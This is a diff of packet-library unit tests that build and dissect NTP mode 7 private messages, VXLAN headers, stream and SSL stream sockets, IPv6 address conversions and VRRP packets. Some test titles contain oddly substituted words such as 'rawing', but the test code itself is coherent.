+assert(p.mode == 7)
+assert(p.auth == 1)
+assert(p.request_code == 31)
+assert(p.err == 0)
+assert(p.nb_items == 1)
+assert(hasattr(p, 'req_data'))
+assert(isinstance(p.req_data[0], NTPConfTrap))
+assert(p.req_data[0].trap_address == '192.0.2.3')
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'a55f569eb87144921b1c3e5aad5d2a89')
+
+
+= NTP Private (mode 7) - REQ_CLR_TRAP (2) - response
+s = b'\x97\x00\x03\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 31)
+assert(p.err == 0)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_GET_CTLSTATS - response
+s = b'\x97\x00\x03"\x00\x01\x00<\x00\x00\x00\xed\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 34)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 60)
+assert(type(p.data[0]) == NTPInfoControl)
+assert(p.data[0].ctltimereset == 237)
+
+
+= NTP Private (mode 7) - REQ_GET_KERNEL (1) - request
+s = b'\x17\x00\x03&\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 38)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_GET_KERNEL (2) - response
+s = b'\x97\x00\x03&\x00\x01\x00<\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf4$\x00\x00\xf4$\x00 A\x00\x00\x00\x00\x00\x03\x00\x00\x00\x01\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 38)
+assert(p.nb_items == 1)
+assert(p.data_item_size == 60)
+assert(isinstance(p.data[0], NTPInfoKernel))
+assert(p.data[0].maxerror == 16000000)
+assert(p.data[0].esterror == 16000000)
+assert(p.data[0].status == 8257)
+assert(p.data[0].constant == 3)
+assert(p.data[0].precision == 1)
+assert(p.data[0].tolerance == 32768000)
+
+
+
+= NTP Private (mode 7) - REQ_MON_GETLIST_1 (1) - request
+s = b'\x17\x00\x03*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 42)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+
+
+= NTP Private (mode 7) - REQ_MON_GETLIST_1 (2) - response
+s = b'\xd7\x00\x03*\x00\x06\x00H\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x94mw\xe9\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\x13\xb6\xa9J\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbb]\x81\xea\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xfc\xbf\xd5a\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xbe\x10x\xa8\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00;\x00\x00\x01\xd0\x00\x00\x00\x01\xde[ng\xc0\xa8zg\x00\x00\x00\x01\x00{\x03\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.request_code == 42)
+assert(p.nb_items == 6)
+assert(p.data_item_size == 72)
+
+
+= NTP Private (mode 7) - REQ_IF_STATS (1) - request
+s = b'\x17\x80\x03,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xeb\xdd\x8cH\xefe\x00\x00\x00\x01\x8b\xfb\x90u\xa8ad\xe8\x87\xca\xbf\x96\xd2\x9d\xddI'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 1)
+assert(p.request_code == 44)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'8bfb9075a86164e887cabf96d29ddd49')
+
+
+= NTP Private (mode 7) - REQ_IF_STATS (2) - response
+s = b"\xd7\x00\x03,\x00\x03\x00\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x01lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xe3\x81r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\n\x00'\xff\xfe\xa0\x1d\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x05\x00\x00\x00\x00\x00\n\x00\x01\x00\x00\x00\x00"
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 44)
+assert(p.err == 0)
+assert(p.nb_items == 3)
+assert(p.data_item_size == 136)
+assert(isinstance(p.data[0], NTPInfoIfStatsIPv6))
+assert(p.data[0].unaddr == "::1")
+assert(p.data[0].unmask == "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff")
+assert(p.data[0].ifname.startswith(b"lo"))
+
+
+= NTP Private (mode 7) - REQ_IF_STATS (3) - response
+s = b'\xd7\x01\x03,\x00\x03\x00\x88\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 44)
+assert(p.err == 0)
+assert(p.nb_items == 3)
+assert(p.data_item_size == 136)
+assert(isinstance(p.data[0], NTPInfoIfStatsIPv4))
+assert(p.data[0].unaddr == "192.168.122.101")
+assert(p.data[0].unmask == "255.255.255.0")
+assert(p.data[0].ifname.startswith(b"eth1"))
+
+
+= NTP Private (mode 7) - REQ_IF_RELOAD (1) - request
+s = b'\x17\x80\x03-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdb9\xed\xa3\xdc\x7f\xc6\x11\x00\x00\x00\x01\xfb>\x96*\xe7O\xf7\x8feh\xd4\x07L\xc0\x08\xcb'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 0)
+assert(p.more == 0)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 1)
+assert(p.request_code == 45)
+assert(p.nb_items == 0)
+assert(p.data_item_size == 0)
+assert(hasattr(p, 'authenticator'))
+assert(p.authenticator.key_id == 1)
+assert(bytes_hex(p.authenticator.dgst) == b'fb3e962ae74ff78f6568d4074cc008cb')
+
+
+= NTP Private (mode 7) - REQ_IF_RELOAD (2) - response
+s = b'\xd7\x00\x03-\x00\x03\x00\x88\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00lo\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x02\x00\x01\x00\x00\x00\x00\n\x00\x02\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\x00\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x13\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x05\x00\x02\x00\x01\x00\x00\x00\x00\xc0\xa8ze\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xa8z\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00eth1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x01\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\t\x00\x02\x00\x01\x00\x00\x00\x00'
+p = NTP(s)
+assert(isinstance(p, NTPPrivate))
+assert(p.response == 1)
+assert(p.more == 1)
+assert(p.version == 2)
+assert(p.mode == 7)
+assert(p.auth == 0)
+assert(p.request_code == 45)
+assert(p.err == 0)
+assert(p.nb_items == 3)
+assert(p.data_item_size == 136)
+assert(isinstance(p.data[0], NTPInfoIfStatsIPv4))
+assert(p.data[0].unaddr == "127.0.0.1")
+assert(p.data[0].unmask == "255.0.0.0")
+assert(p.data[0].ifname.startswith(b"lo"))
+
+
+############
+############
++ VXLAN layer
+
+= Build a VXLAN packet with VNI of 42
+raw(UDP(sport=1024, dport=4789, len=None, chksum=None)/VXLAN(flags=0x08, vni=42)) == b'\x04\x00\x12\xb5\x00\x10\x00\x00\x08\x00\x00\x00\x00\x00\x2a\x00'
+
+= Verify VXLAN Ethernet Binding
+pkt = VXLAN(raw(VXLAN(vni=23)/Ether(dst="11:11:11:11:11:11", src="11:11:11:11:11:11", type=0x800)))
+pkt.flags.NextProtocol and pkt.NextProtocol == 3
+
+= Verify UDP dport overloading
+p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22")
+p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111)
+p /= VXLAN(flags=0x8, vni=42) / Ether() / IP()
+p = Ether(raw(p))
+assert(p[UDP].dport == 4789)
+assert(p[Ether:2].type == 0x800)
+
+= Build a VXLAN packet with next protocol field
+p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22")
+p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111)
+p /= VXLAN(flags=0xC, vni=42, NextProtocol=3) / Ether() / IP()
+p = Ether(raw(p))
+assert(p[UDP].dport == 4789)
+assert(p[VXLAN].reserved0 == 0x0)
+assert(p[VXLAN].NextProtocol == 3)
+assert(p[Ether:2].type == 0x800)
+
+= Build a VXLAN packet with no group policy ID
+p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22")
+p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111)
+p /= VXLAN(flags=0x8, vni=42) / Ether() / IP()
+p = Ether(raw(p))
+assert(p[VXLAN].reserved1 == 0x0)
+assert(p[VXLAN].gpid is None)
+assert(p[Ether:2].type == 0x800)
+
+= Build a VXLAN packet with group policy ID = 42
+p = Ether(dst="11:11:11:11:11:11", src="22:22:22:22:22:22")
+p /= IP(src="1.1.1.1", dst="2.2.2.2") / UDP(sport=1111)
+p /= VXLAN(flags=0x88, gpid=42, vni=42) / Ether() / IP()
+p = Ether(raw(p))
+assert(p[VXLAN].gpid == 42)
+assert(p[VXLAN].reserved1 is None)
+assert(p[Ether:2].type == 0x800)
+
+
+############
+############
+############
++ Tests of StreamSocket
+
+= Test with DNS over TCP
+~ netaccess
+
+import socket
+sck = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+sck.connect(("8.8.8.8", 53))
+
+class DNSTCP(Packet):
+    name = "DNS over TCP"
+    fields_desc = [ FieldLenField("len", None, fmt="!H", length_of="dns"),
+                    PacketLenField("dns", 0, DNS, length_from=lambda p: p.len)]
+
+ssck = StreamSocket(sck)
+ssck.basecls = DNSTCP
+
+r = ssck.sr1(DNSTCP(dns=DNS(rd=1, qd=DNSQR(qname="www.example.com"))))
+sck.close()
+assert(DNSTCP in r and len(r.dns.an))
+
+############
++ Tests of SSLStreamContext
+
+= Test with recv() calls that return exact packet-length rawings
+~ sslraweamsocket
+
+import socket
+class MockSocket(object):
+    def __init__(self):
+        self.l = [ b'\x00\x00\x00\x01', b'\x00\x00\x00\x02', b'\x00\x00\x00\x03' ]
+    def recv(self, x):
+        if len(self.l) == 0:
+            raise socket.error(100, 'EOF')
+        return self.l.pop(0)
+
+class TestPacket(Packet):
+    name = 'TestPacket'
+    fields_desc = [
+        IntField('data', 0)
+    ]
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+s = MockSocket()
+ss = SSLStreamSocket(s, basecls=TestPacket)
+
+p = ss.recv()
+assert(p.data == 1)
+p = ss.recv()
+assert(p.data == 2)
+p = ss.recv()
+assert(p.data == 3)
+try:
+    ss.recv()
+    ret = False
+except socket.error:
+    ret = True
+
+assert(ret)
+
+= Test with recv() calls that return twice as much data as the exact packet-length
+~ sslraweamsocket
+
+import socket
+class MockSocket(object):
+    def __init__(self):
+        self.l = [ b'\x00\x00\x00\x01\x00\x00\x00\x02', b'\x00\x00\x00\x03\x00\x00\x00\x04' ]
+    def recv(self, x):
+        if len(self.l) == 0:
+            raise socket.error(100, 'EOF')
+        return self.l.pop(0)
+
+class TestPacket(Packet):
+    name = 'TestPacket'
+    fields_desc = [
+        IntField('data', 0)
+    ]
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+s = MockSocket()
+ss = SSLStreamSocket(s, basecls=TestPacket)
+
+p = ss.recv()
+assert(p.data == 1)
+p = ss.recv()
+assert(p.data == 2)
+p = ss.recv()
+assert(p.data == 3)
+p = ss.recv()
+assert(p.data == 4)
+try:
+    ss.recv()
+    ret = False
+except socket.error:
+    ret = True
+
+assert(ret)
+
+= Test with recv() calls that return not enough data
+~ sslraweamsocket
+
+import socket
+class MockSocket(object):
+    def __init__(self):
+        self.l = [ b'\x00\x00', b'\x00\x01', b'\x00\x00\x00', b'\x02', b'\x00\x00', b'\x00', b'\x03' ]
+    def recv(self, x):
+        if len(self.l) == 0:
+            raise socket.error(100, 'EOF')
+        return self.l.pop(0)
+
+class TestPacket(Packet):
+    name = 'TestPacket'
+    fields_desc = [
+        IntField('data', 0)
+    ]
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+s = MockSocket()
+ss = SSLStreamSocket(s, basecls=TestPacket)
+
+try:
+    p = ss.recv()
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+p = ss.recv()
+assert(p.data == 1)
+try:
+    p = ss.recv()
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+p = ss.recv()
+assert(p.data == 2)
+try:
+    p = ss.recv()
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+try:
+    p = ss.recv()
+    ret = False
+except:
+    ret = True
+
+assert(ret)
+p = ss.recv()
+assert(p.data == 3)
+
+
+############
+############
++ Test correct conversion from binary to rawing of IPv6 addresses
+
+= IPv6 bin to rawing conversion
+from scapy.pton_ntop import _inet6_ntop, inet_ntop
+import socket
+for binfrm, address in [
+        (b'\x00' * 16, '::'),
+        (b'\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x66\x66\x77\x77\x88\x88',
+         '1111:2222:3333:4444:5555:6666:7777:8888'),
+        (b'\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x00\x00\x00\x00\x00\x00',
+         '1111:2222:3333:4444:5555::'),
+        (b'\x00\x00\x00\x00\x00\x00\x44\x44\x55\x55\x66\x66\x77\x77\x88\x88',
+         '::4444:5555:6666:7777:8888'),
+        (b'\x00\x00\x00\x00\x33\x33\x44\x44\x00\x00\x00\x00\x00\x00\x88\x88',
+         '0:0:3333:4444::8888'),
+        (b'\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',
+         '1::'),
+        (b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01',
+         '::1'),
+        (b'\x11\x11\x00\x00\x00\x00\x44\x44\x00\x00\x00\x00\x77\x77\x88\x88',
+         '1111::4444:0:0:7777:8888'),
+        (b'\x10\x00\x02\x00\x00\x30\x00\x04\x00\x05\x00\x60\x07\x00\x80\x00',
+         '1000:200:30:4:5:60:700:8000'),
+]:
+    addr1 = inet_ntop(socket.AF_INET6, binfrm)
+    addr2 = _inet6_ntop(binfrm)
+    assert address == addr1 == addr2
+
+= IPv6 bin to rawing conversion - Zero-block of length 1
+binfrm = b'\x11\x11\x22\x22\x33\x33\x44\x44\x55\x55\x66\x66\x00\x00\x88\x88'
+addr1, addr2 = inet_ntop(socket.AF_INET6, binfrm), _inet6_ntop(binfrm)
+# On Mac OS socket.inet_ntop is not fully compliant with RFC 5952 and
+# shortens the single zero block to '::'. This is a valid IPv6 address
+# representation anyway.
+assert(addr1 in ['1111:2222:3333:4444:5555:6666:0:8888',
+                 '1111:2222:3333:4444:5555:6666::8888'])
+assert(addr2 == '1111:2222:3333:4444:5555:6666:0:8888')
+
+= IPv6 bin to rawing conversion - Illegal sizes
+for binfrm in ["\x00" * 15, b"\x00" * 17]:
+    rc = False
+    try:
+        inet_ntop(socket.AF_INET6, binfrm)
+    except Exception as exc1:
+        _exc1 = exc1
+        rc = True
+    assert rc
+    try:
+        _inet6_ntop(binfrm)
+    except Exception as exc2:
+        rc = isinstance(exc2, type(_exc1))
+    assert rc
+
+
+############
+############
++ VRRP tests
+
+= VRRP - build
+s = raw(IP()/VRRP())
+s == b'E\x00\x00$\x00\x01\x00\x00@p|g\x7f\x00\x00\x01\x7f\x00\x00\x01!\x01d\x00\x00\x01z\xfd\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= VRRP - dissection
+p = IP(s)
